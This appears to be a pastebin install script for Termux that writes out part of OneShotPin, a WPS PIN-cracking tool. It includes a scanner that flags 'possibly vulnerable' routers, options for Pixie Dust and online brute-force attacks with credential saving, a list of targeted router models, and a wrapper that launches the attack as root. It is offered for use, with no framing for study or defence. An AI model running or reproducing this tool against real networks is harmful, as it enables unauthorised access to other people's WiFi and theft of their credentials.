  1712.             elif sec == 'WPA':
  1713.                 if result.group(1) == 'RSN':
  1714.                     sec = 'WPA/WPA2'
  1715.             elif sec == 'WPA2':
  1716.                 if result.group(1) == 'WPA':
  1717.                     sec = 'WPA/WPA2'
  1718.             networks[-1]['Security type'] = sec
  1719.  
  1720.         def handle_wps(line, result, networks):
  1721.             networks[-1]['WPS'] = result.group(1)
  1722.  
  1723.         def handle_wpsLocked(line, result, networks):
  1724.             flag = int(result.group(1), 16)
  1725.             if flag:
  1726.                 networks[-1]['WPS locked'] = True
  1727.  
  1728.         def handle_model(line, result, networks):
  1729.             d = result.group(1)
  1730.             networks[-1]['Model'] = (codecs.decode(d, 'unicode-escape')
  1731.                                      .encode('latin1').decode('utf-8', errors='replace'))
  1732.  
  1733.         def handle_modelNumber(line, result, networks):
  1734.             d = result.group(1)
  1735.             networks[-1]['Model number'] = (codecs.decode(d, 'unicode-escape')
  1736.                                             .encode('latin1').decode('utf-8', errors='replace'))
  1737.  
  1738.         def handle_deviceName(line, result, networks):
  1739.             d = result.group(1)
  1740.             networks[-1]['Device name'] = (codecs.decode(d, 'unicode-escape')
  1741.                                            .encode('latin1').decode('utf-8', errors='replace'))
  1742.  
  1743.         cmd = 'iw dev {} scan'.format(self.interface)
  1744.         proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
  1745.                               stderr=subprocess.STDOUT, encoding='utf-8', errors='replace')
  1746.         lines = proc.stdout.splitlines()
  1747.         networks = []
  1748.         matchers = {
  1749.             re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network,
  1750.             re.compile(r'SSID: (.*)'): handle_essid,
  1751.             re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level,
  1752.             re.compile(r'(capability): (.+)'): handle_securityType,
  1753.             re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType,
  1754.             re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType,
  1755.             re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps,
  1756.             re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked,
  1757.             re.compile(r' [*] Model: (.*)'): handle_model,
  1758.             re.compile(r' [*] Model Number: (.*)'): handle_modelNumber,
  1759.             re.compile(r' [*] Device name: (.*)'): handle_deviceName
  1760.         }
  1761.  
  1762.         for line in lines:
  1763.             if line.startswith('command failed:'):
  1764.                 print('[!] Error:', line)
  1765.                 return False
  1766.             line = line.strip('\t')
  1767.             for regexp, handler in matchers.items():
  1768.                 res = re.match(regexp, line)
  1769.                 if res:
  1770.                     handler(line, res, networks)
  1771.  
  1772.         # Filtering non-WPS networks
  1773.         networks = list(filter(lambda x: bool(x['WPS']), networks))
  1774.         if not networks:
  1775.             return False
  1776.  
  1777.         # Sorting by signal level
  1778.         networks.sort(key=lambda x: x['Level'], reverse=True)
  1779.  
  1780.         # Putting a list of networks in a dictionary, where each key is a network number in list of networks
  1781.         network_list = {(i + 1): network for i, network in enumerate(networks)}
  1782.  
  1783.         # Printing scanning results as table
  1784.         def truncateStr(s, length, postfix='…'):
  1785.             """
  1786.            Truncate string with the specified length
  1787.            @s — input string
  1788.            @length — length of output string
  1789.            """
  1790.             if len(s) > length:
  1791.                 k = length - len(postfix)
  1792.                 s = s[:k] + postfix
  1793.             return s
  1794.  
  1795.         def colored(text, color=None):
  1796.             """Returns colored text"""
  1797.             if color:
  1798.                 if color == 'green':
  1799.                     text = '\033[92m{}\033[00m'.format(text)
  1800.                 elif color == 'red':
  1801.                     text = '\033[91m{}\033[00m'.format(text)
  1802.                 elif color == 'yellow':
  1803.                     text = '\033[93m{}\033[00m'.format(text)
  1804.                 else:
  1805.                     return text
  1806.             else:
  1807.                 return text
  1808.             return text
  1809.  
  1810.         if self.vuln_list:
  1811.             print('Network marks: {1} {0} {2} {0} {3}'.format(
  1812.                 '|',
  1813.                 colored('Possibly vulnerable', color='green'),
  1814.                 colored('WPS locked', color='red'),
  1815.                 colored('Already stored', color='yellow')
  1816.             ))
  1817.         print('Networks list:')
  1818.         print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
  1819.             '#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model'))
  1820.  
  1821.         network_list_items = list(network_list.items())
  1822.         if args.reverse_scan:
  1823.             network_list_items = network_list_items[::-1]
  1824.         for n, network in network_list_items:
  1825.             number = f'{n})'
  1826.             model = '{} {}'.format(network['Model'], network['Model number'])
  1827.             essid = truncateStr(network['ESSID'], 25)
  1828.             deviceName = truncateStr(network['Device name'], 27)
  1829.             line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
  1830.                 number, network['BSSID'], essid,
  1831.                 network['Security type'], network['Level'],
  1832.                 deviceName, model
  1833.                 )
  1834.             if (network['BSSID'], network['ESSID']) in self.stored:
  1835.                 print(colored(line, color='yellow'))
  1836.             elif network['WPS locked']:
  1837.                 print(colored(line, color='red'))
  1838.             elif ((self.vuln_list and (model in self.vuln_list))
  1839.                   or self.checkvuln_from_pin_csv(os.path.join(os.path.dirname(os.path.realpath(__file__)),
  1840.                                                               'pins.csv'), network['BSSID'])):
  1841.                 print(colored(line, color='green'))
  1842.             else:
  1843.                 print(line)
  1844.  
  1845.         return network_list
  1846.  
  1847.     def prompt_network(self) -> tuple:
  1848.         networks = self.iw_scanner()
  1849.         if not networks:
  1850.             print('[-] No WPS networks found.')
  1851.             return
  1852.         while 1:
  1853.             try:
  1854.                 networkNo = input('Select target (press Enter to refresh): ')
  1855.                 if networkNo.lower() in ('r', '0', ''):
  1856.                     return self.prompt_network()
  1857.                 elif int(networkNo) in networks.keys():
  1858.                     if networks[int(networkNo)]['ESSID'] is None:
  1859.                         return networks[int(networkNo)]['BSSID']
  1860.                     else:
  1861.                         return networks[int(networkNo)]['BSSID'], networks[int(networkNo)]['ESSID']
  1862.                 else:
  1863.                     raise IndexError
  1864.             except Exception:
  1865.                 print('Invalid number')
  1866.  
  1867.  
  1868. def ifaceUp(iface, down=False):
  1869.     if down:
  1870.         action = 'down'
  1871.     else:
  1872.         action = 'up'
  1873.     cmd = 'ip link set {} {}'.format(iface, action)
  1874.     res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout)
  1875.     if res.returncode == 0:
  1876.         return True
  1877.     else:
  1878.         return False
  1879.  
  1880.  
  1881. def die(msg):
  1882.     sys.stderr.write(msg + '\n')
  1883.     sys.exit(1)
  1884.  
  1885.  
  1886. def usage():
  1887.     return """
  1888. OneShotPin 0.0.2 (c) 2017 rofl0r, drygdryg and fulvius31
  1889.  
  1890. %(prog)s <arguments>
  1891.  
  1892. Required arguments:
  1893.    -i, --interface=<wlan0>  : Name of the interface to use
  1894.  
  1895. Optional arguments:
  1896.    -b, --bssid=<mac>        : BSSID of the target AP
  1897.    -s, --ssid=<ssid>        : SSID of the target AP
  1898.    -p, --pin=<wps pin>      : Use the specified pin (arbitrary string or 4/8 digit pin)
  1899.    -K, --pixie-dust         : Run Pixie Dust attack
  1900.    -B, --bruteforce         : Run online bruteforce attack
  1901.    --push-button-connect    : Run WPS push button connection
  1902.  
  1903. Advanced arguments:
  1904.    -d, --delay=<n>          : Set the delay between pin attempts [0]
  1905.    -w, --write              : Write AP credentials to the file on success
  1906.    -F, --pixie-force        : Run Pixiewps with --force option (bruteforce full range)
  1907.    -X, --show-pixie-cmd     : Always print Pixiewps command
  1908.    --vuln-list=<filename>   : Use custom file with vulnerable devices list ['vulnwsc.txt']
  1909.    --iface-down             : Down network interface when the work is finished
  1910.    -l, --loop               : Run in a loop
  1911.    -r, --reverse-scan       : Reverse order of networks in the list of networks. Useful on small displays
  1912.    --mtk-wifi               : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
  1913.                               (for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this.
  1914.    -v, --verbose            : Verbose output
  1915.  
  1916. Example:
  1917.    %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K
  1918. """
  1919.  
  1920.  
  1921. if __name__ == '__main__':
  1922.     import argparse
  1923.  
  1924.     parser = argparse.ArgumentParser(
  1925.         description='OneShotPin 0.0.2 (c) 2017 rofl0r, drygdryg and fulvius31',
  1926.         epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K'
  1927.         )
  1928.  
  1929.     parser.add_argument(
  1930.         '-i', '--interface',
  1931.         type=str,
  1932.         required=True,
  1933.         help='Name of the interface to use'
  1934.         )
  1935.     parser.add_argument(
  1936.         '-b', '--bssid',
  1937.         type=str,
  1938.         help='BSSID of the target AP'
  1939.         )
  1940.     parser.add_argument(
  1941.         '-s', '--ssid',
  1942.         type=str,
  1943.         help='SSID of the target AP'
  1944.         )
  1945.     parser.add_argument(
  1946.         '-p', '--pin',
  1947.         type=str,
  1948.         help='Use the specified pin (arbitrary string or 4/8 digit pin)'
  1949.         )
  1950.     parser.add_argument(
  1951.         '-K', '--pixie-dust',
  1952.         action='store_true',
  1953.         help='Run Pixie Dust attack'
  1954.         )
  1955.     parser.add_argument(
  1956.         '-F', '--pixie-force',
  1957.         action='store_true',
  1958.         help='Run Pixiewps with --force option (bruteforce full range)'
  1959.         )
  1960.     parser.add_argument(
  1961.         '-X', '--show-pixie-cmd',
  1962.         action='store_true',
  1963.         help='Always print Pixiewps command'
  1964.         )
  1965.     parser.add_argument(
  1966.         '-B', '--bruteforce',
  1967.         action='store_true',
  1968.         help='Run online bruteforce attack'
  1969.         )
  1970.     parser.add_argument(
  1971.         '--pbc', '--push-button-connect',
  1972.         action='store_true',
  1973.         help='Run WPS push button connection'
  1974.         )
  1975.     parser.add_argument(
  1976.         '-d', '--delay',
  1977.         type=float,
  1978.         help='Set the delay between pin attempts'
  1979.         )
  1980.     parser.add_argument(
  1981.         '-w', '--write',
  1982.         action='store_true',
  1983.         help='Write credentials to the file on success'
  1984.         )
  1985.     parser.add_argument(
  1986.         '--iface-down',
  1987.         action='store_true',
  1988.         help='Down network interface when the work is finished'
  1989.         )
  1990.     parser.add_argument(
  1991.         '--vuln-list',
  1992.         type=str,
  1993.         default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt',
  1994.         help='Use custom file with vulnerable devices list'
  1995.         )
  1996.     parser.add_argument(
  1997.         '-l', '--loop',
  1998.         action='store_true',
  1999.         help='Run in a loop'
  2000.         )
  2001.     parser.add_argument(
  2002.         '-r', '--reverse-scan',
  2003.         action='store_true',
  2004.         help='Reverse order of networks in the list of networks. Useful on small displays'
  2005.         )
  2006.     parser.add_argument(
  2007.         '--mtk-wifi',
  2008.         action='store_true',
  2009.         help='Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit '
  2010.              '(for internal Wi-Fi adapters implemented in MediaTek SoCs). '
  2011.              'Turn off Wi-Fi in the system settings before using this.'
  2012.         )
  2013.     parser.add_argument(
  2014.         '-v', '--verbose',
  2015.         action='store_true',
  2016.         help='Verbose output'
  2017.         )
  2018.  
  2019.     args = parser.parse_args()
  2020.  
  2021.     if sys.hexversion < 0x03060F0:
  2022.         die("The program requires Python 3.6 and above")
  2023.     if os.getuid() != 0:
  2024.         die("Run it as root")
  2025.  
  2026.     if args.mtk_wifi:
  2027.         wmtWifi_device = Path("/dev/wmtWifi")
  2028.         if not wmtWifi_device.is_char_device():
  2029.             die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): "
  2030.                 "/dev/wmtWifi does not exist or it is not a character device")
  2031.         wmtWifi_device.chmod(0o644)
  2032.         wmtWifi_device.write_text("1")
  2033.  
  2034.     if not ifaceUp(args.interface):
  2035.         die('Unable to up interface "{}"'.format(args.interface))
  2036.  
  2037.     while True:
  2038.         try:
  2039.             companion = Companion(args.interface, args.write, print_debug=args.verbose)
  2040.             if args.pbc:
  2041.                 companion.single_connection(pbc_mode=True)
  2042.             else:
  2043.                 if not args.bssid:
  2044.                     try:
  2045.                         with open(args.vuln_list, 'r', encoding='utf-8') as file:
  2046.                             vuln_list = file.read().splitlines()
  2047.                     except FileNotFoundError:
  2048.                         vuln_list = []
  2049.                     scanner = WiFiScanner(args.interface, vuln_list)
  2050.                     if not args.loop:
  2051.                         print('[*] BSSID not specified (--bssid) — scanning for available networks')
  2052.  
  2053.                     network_info = scanner.prompt_network()
  2054.                     if network_info:
  2055.                         args.bssid = network_info[0]
  2056.                         args.ssid = network_info[1] if len(network_info) > 1 else None
  2057.                 if args.bssid:
  2058.                     companion = Companion(args.interface, args.write, print_debug=args.verbose)
  2059.                     if args.bruteforce:
  2060.                         companion.smart_bruteforce(args.bssid, args.pin, args.delay)
  2061.                     else:
  2062.                         companion.single_connection(bssid=args.bssid, ssid=args.ssid, pin=args.pin,
  2063.                                                     pixiemode=args.pixie_dust,showpixiecmd=args.show_pixie_cmd,
  2064.                                                     pixieforce=args.pixie_force)
  2065.             if not args.loop:
  2066.                 break
  2067.             else:
  2068.                 args.bssid = None
  2069.         except KeyboardInterrupt:
  2070.             if args.loop:
  2071.                 if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y':
  2072.                     print("Aborting…")
  2073.                     break
  2074.                 else:
  2075.                     args.bssid = None
  2076.             else:
  2077.                 print("\nAborting…")
  2078.                 break
  2079.  
  2080.     if args.iface_down:
  2081.         ifaceUp(args.interface, down=True)
  2082.  
  2083.     if args.mtk_wifi:
  2084.         wmtWifi_device.write_text("0")
  2085. EOF
  2086. cat << EOF > $PREFIX/bin/vulnwsc.txt
  2087. Archer C50 4.0
  2088. TL-WR845N 3.0
  2089. TL-WR850N 3.0
  2090. Wi-Fi Protected Setup Router RT-N12VP
  2091. Wireless Router RTL8xxx EV-2009-02-06
  2092. WPS Router RT-AC52U
  2093. Archer MR200 4.0
  2094. Archer C50 6.0
  2095. TD-W9960v 1.0
  2096. EV-2009-02-06
  2097. TL-MR3020 3.0
  2098. TL-MR6400 3.0
  2099. NETGEAR Wireless Access Point R6260
  2100. TL-WR850N 1.0
  2101. JWNR2000v2(Wireless AP) JWNR2000v2
  2102. VN020-F3 1.0
  2103. WPS Router RT-N11P
  2104. Wireless Router 123456
  2105. D-Link Router GO-RT-N150
  2106. RTL8196E
  2107. Wireless WPS Router RT-N10LX
  2108. Archer_A9 1.0
  2109. WN3000RP V3
  2110. WPS Router DSL-N16
  2111. N/A EV-2010-09-20
  2112. Archer C6 3.20
  2113. RT-G32 1234
  2114. WPS Router RT-N56U
  2115. TL-WR840N 5.0
  2116. TL-WR842N 5.0
  2117. WN-200R WN-200R
  2118. Belkin AP EV-2012-09-01
  2119. TEW-731BR TEW-731BR
  2120. VMG3312-T20A RT2860
  2121. Wireless Access Point .
  2122. RTL8xxx EV-2010-09-20
  2123. Timo RA300R4 Timo RA300R4
  2124. Archer C50 5.0
  2125. WPS Router DSL-AC55U
  2126. Archer C20 1.0
  2127. B-LINK 123456
  2128. WPS Router RT-AC65P
  2129. TL-WR841N 13.0
  2130. Ralink Wireless Access Point WR-AC1210
  2131. Archer MR400 4.2
  2132. Enhanced Wireless Router F6D4230-4 v1
  2133. WAP3205 WAP3205
  2134. Home Internet Center Keenetic series
  2135. Linksys Wireless Router WRT110
  2136. WPS Router DSL-AC52U
  2137. Wi-Fi Protected Setup Router RT-N10U
  2138. Archer VR400 3.0
  2139. WPS Router DSL-AC51
  2140. RTL8xxx RTK_ECOS
  2141. WPS Router RT-AC57U
  2142. WPS Router DSL-N17U
  2143. AirLive Wireless Gigabit AP AirLive Wireless Gigabit AP
  2144. RTL8xxx EV-2009-02-06
  2145. TL-WA855RE 4.0
  2146. Home Internet Center KEENETIC series
  2147. WPS Router RT-N14U
  2148. Archer C50 1.0
  2149. WPS Router RT-AC1200
  2150. Archer VR2100 1.0
  2151. DIR-842 DIR-842
  2152. WPS Router RT-N56UB1
  2153. D-Link N Router GO-RT-N150
  2154. Trendnet router TEW-625br
  2155. TL-WR1042N EV-2010-09-20
  2156. Trendnet router TEW-651br
  2157. TD-W8951ND RT2860
  2158. TL-WR841N 14.0
  2159. WPS Router RT-N12+
  2160. EC120-F5 1.0
  2161. Archer C5 4.0
  2162. Archer A5 4.0
  2163. WPS Router RT-AC1200_V2
  2164. NETGEAR Wireless Access Point R6220
  2165. Smart Router R3 RT2860
  2166. D-Link Router DIR-605L
  2167. WPS Router RT-AC750L
  2168. ZyXEL NBG-416N AP Router
  2169. ZyXEL NBG-418N AP Router
  2170. Wi-Fi Protected Setup Router RT-N12D1
  2171. WAP300N WAP300N
  2172. WPS Router RT-N65U
  2173. Sitecom Wireless Router 300N X2 300N
  2174. ADSL Router EV-2006-07-27
  2175. TL-MR6400 4.0
  2176. DIR-819 v1.0.1
  2177. WPS Router RT-AC51U
  2178. AIR3G WSC Wireless Access Point AIR3G WSC Device
  2179. DIR-635 B3
  2180. TD-W8968 2.0
  2181. D-Link Router DIR-655
  2182. WR5570 2011-05-13
  2183. WPS Router RT-AC1750U
  2184. WPS Router RT-AC51
  2185. Wi-Fi Protected Setup Router RT-AX55
  2186. Archer C20 5.0
  2187. WPS Router RT-AC53
  2188. Wireless WPS Router RT-N12E
  2189. Wireless WPS Router RT-N12LX
  2190. WPS Router RT-N12E
  2191. Wireless WPS Router <#ZVMODELVZ#>
  2192. WPS Router RT-AC1750
  2193. Wi-Fi Protected Setup Router RT-N12
  2194. TD-W9960 1.0
  2195. Huawei Wireless Access Point RT2860
  2196. TL-MR100 1.0
  2197. TL-WR850N 2.0
  2198. VMG8623-T50A RT2860
  2199. EC220-G5 2.0
  2200. WPS Router RT-AC85P
  2201. ArcherC20i 1.0
  2202. Archer A2 5.0
  2203. WPS Router RT-AC52U_B1
  2204. Edimax Edimax
  2205. WPS Router RT-N12E_B1
  2206. Archer MR200 5.0
  2207. WPS Router (5G) RT-N65U
  2208. DWR-921C3 WBR-0001
  2209. WPS Router RT-N300
  2210. Archer C50 3.0
  2211. WPS Router DSL-N14U-B1
  2212. ZyXEL Wireless AP Router NBG-417N
  2213. TD-W9960 1.20
  2214. ZyXEL NBG-416N AP Router NBG-416N
  2215. ZyXEL NBG-418N AP Router NBG-418N
  2216. D-Link Router DIR-809
  2217. DAP-1360 DAP-1360
  2218. Ralink Wireless Access Point RT2860
  2219. Wi-Fi Protected Setup Router RT-AC1200G+
  2220. Tenda 123456
  2221. WPS Router RT-N12 VP
  2222. TL-MR3420 5.0
  2223. Archer C2 1.0
  2224. NBG-419N NBG-419N
  2225. TD-W8151N RT2860
  2226. TD-W8901N RT2860
  2227. RTL8671 EV-2006-07-27
  2228. Archer C20 4.0
  2229. ADSL RT2860
  2230. NETGEAR Wireless Access Point NETGEAR
  2231. Wireless WPS Router RT-N10E
  2232. Archer C6U 1.0.0
  2233. Archer MR200 1.0
  2234. Keenetic Keenetic series
  2235. TL-WR840N 4.0
  2236. TL-WR845N 4.0
  2237. TL-WR841HP 5.0
  2238. Linksys Wireless Access Point EA7500
  2239. Archer VR300 1.20
  2240. Archer C2 3.0
  2241. Wireless Router Wireless Router
  2242. WPS Router RT-AC750
  2243. D-Link Router DIR-615H1
  2244. Netgear AP EV-2012-08-04
  2245. TL-WR840N 6.0
  2246. EOF
  2247. cat << EOF > $PREFIX/bin/wps
  2248. sudo python $PREFIX/bin/oneshot.py -i wlan0 --iface-down --vuln-list $PREFIX/bin/vulnwsc.txt -K
  2249. EOF
  2250. chmod 777 $PREFIX/bin/pins.csv $PREFIX/bin/oneshot.py $PREFIX/bin/vulnwsc.txt $PREFIX/bin/wps
  2251. pkg update
  2252. pkg upgrade -y
  2253. pkg install -y root-repo
  2254. pkg install -y python tsu iw pixiewps wpa-supplicant
  2255. echo -e "\033[32mWPS Installed run it with command wps\033[0m"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement